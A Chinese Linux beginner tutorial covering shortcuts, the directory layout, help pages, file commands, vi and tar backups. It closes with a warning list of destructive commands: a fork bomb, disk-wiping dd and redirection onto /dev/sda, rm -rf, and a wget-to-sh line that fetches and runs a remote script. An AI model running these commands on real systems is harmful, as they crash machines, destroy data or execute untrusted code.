您的位置:首页 > 运维架构 > Linux

Linux基础命令、快捷键、命令操作

2017-08-17 10:44 393 查看
Linux基础操作、快捷键、命令

Linux命令的执行过程
命令----shell(命令解释器)-----内核(kernel);
根据命令是否是shell的一部分,将命令分为内部命令和外部命令;内部是shell的一部分,外部命令是由安装软件提供

常用快捷键:
ctrl+c-->取消终止命令
ctrl+l-->清楚屏幕
ctrl+a-->光标移动到行首
ctrl+e-->光标移动到行尾
ctrl+f-->向前移动
ctrl+b-->向后移动
alt+.-->引用上一条命令的最后参数
tab-->补齐,一个tab补齐命令或参数,两个tab显示字母开头的所有命令

Linux文件系统
1)文件名称严格区分大小写
2)文件名称可使用/以外的任意字符,特殊字符不推荐使用
3 )文件名不可查过255个字符(这个就看就行了,谁心那么大)
4)以.开头的文件是隐藏文件,但是有两个特殊的:
.:表示当前目录。 ..:当前目录的上一级目录。 如:/etc/init.d/ .表/etc/init.d/ ..表/etc echo 3 > /proc/sys/vm/drop_caches 清除内存5)相对路径:根据当前的目录做描述 绝对路径:根据/目录开始做描述 Linux一切皆文件,所有文件都放在目录下(/)
文件/目录对应关系 相对路径/绝对路径
常用目录的对应关系/boot ##启动文件存放目录/etc ##配置文件存放目录/proc ##系统内存状态目录,是系统快照/dev ##存放硬件文件的目录/home ##普通用户的家目录/root ##root用户的家目录/var ##动态变化的数据存放目录,如日志、数据库的数据文件/usr ##用户文件存放目录

Linux的帮助命令 lhelp:内部命令帮助(help cd)(ls --help) man:命令手册(man 命令):详细介绍命令的使用 man的区域类型: 格式:man 1/5/8 命令/文件 1-->用户命令 5-->配置文件的格式帮助 8-->管理员管理工具的帮助 基本结构sections(区域)name(名字)synopsis(命令的语法)description(描述解释命令)option(选项)EXAMPLE(使用的案例,经使用)author(作者)seealso(其他相关帮助)

Linux常用的增、删、改、查常用目录的对应关系
/boot ##启动文件存放目录
/etc ##配置文件存放目录
/proc ##系统内存状态目录,是系统快照
/dev ##存放硬件文件的目录
/home ##普通用户的家目录
/root ##root用户的家目录
/var ##动态变化的数据存放目录,如日志、数据库的数据文件
/usr ##用户文件存放目录
查看:cd pwd ls du which find cat more/less head/tail grep wc,
目录的查看:cd,pwd,ls,du cd:目录的管理,切换目录( cd /etc/sysconfig ##进入绝对目录 cd ../../ ##到根目录
cd - ##回到上一所在目录
pwd ##验证
cd ##回家
pwd
useradd u01 ##创建用户u01
e cho 123123 |passwd --stdin u01 ##给u01修改密码为123123
cd ~u01 ##进入u01的家目录
pwd ##验证为/home/u01)
pwd:查看当前工作目录 (pwd ##直接查看当前工作目录即“.=?” cd /etc/init.d/
pwd ##查看到是链接后的目录
pwd -P ##查看物理路径/etc/rc.d/init.d)
ls:列出当前目录下文件 (-lh ##长格式查看当前目录下的内容 -ld /boot ##查看/boot本身的详细信息
-R / ##显示整个系统的所有内容
--help ##查看帮助,推荐使用-lt按时间排序,-lS按大小排序
-a ##显示隐藏文件如.bash_profile)
du:统计文件或目录大小

(du -sh / ##统计根目录总大小
du -sh /* ##统计根目录的子目录的总大小
du -sh /etc/redhat-release ##统计单个文件大小)

文件的删和改:rm、mv、vi/vimrm:删除文件或目录mv:移动或修改文件名称,位置vi/vim:修改创建文件:% g/^$/d ##删除空行 :% g/^#/d ##删除#开始的行
: !ip a ##在vi中执行命令
ctrl+r ##重做,与u撤销相反
文件的增加:mkdir、touch、ln、cpmkdir:创建目录touch:创建文件ln:创建文件目录的超链接cp:复制文件或目录

tar备份系统:gzip,bzip2,xz,tartar -zcvf 文件名称-日期.tar.gz 备份的目录或文件 ##调用gzip
tar -jcvf 文件名称-日期.tar.bzp2 备份的目录或文件 ##调用bzip2
tar -Jcvf 文件名称-日期.tar.xz 备份的目录或文件 ##调用xz
恢复:解压缩
tar -zxvf 文件名称-日期.tar.gz -C 释放的目录 ##其他格式相同
查看压缩包中的内容:
tar -ztvf 文件名称-日期.tar.gz ##不解压查看,其他格式相同

次文档皆是一下比较简单的操作命令,与一些比较简单的简介,皆是参考
Linux的操作需要我们长时间的积累,这需要我们付出时间与精力去学习邪恶的操作命令
rm-rf 命令:(){:|:&};: 命令 ## fork 炸弹具体操作是通过定义一个名为 ‘:‘的函数,它 会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。命令 >/dev/sdamv 文件夹 /dev/nullwget http://malicious_source -O- | sh #sh会(无条件的)执行下载下来的脚本 > file dd if=/dev/random of=/dev/sda ##会向块设备sda写入随机的垃圾文件从而擦出数据,你的系统可能陷入混乱和不可恢复的状态
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  Linux 基础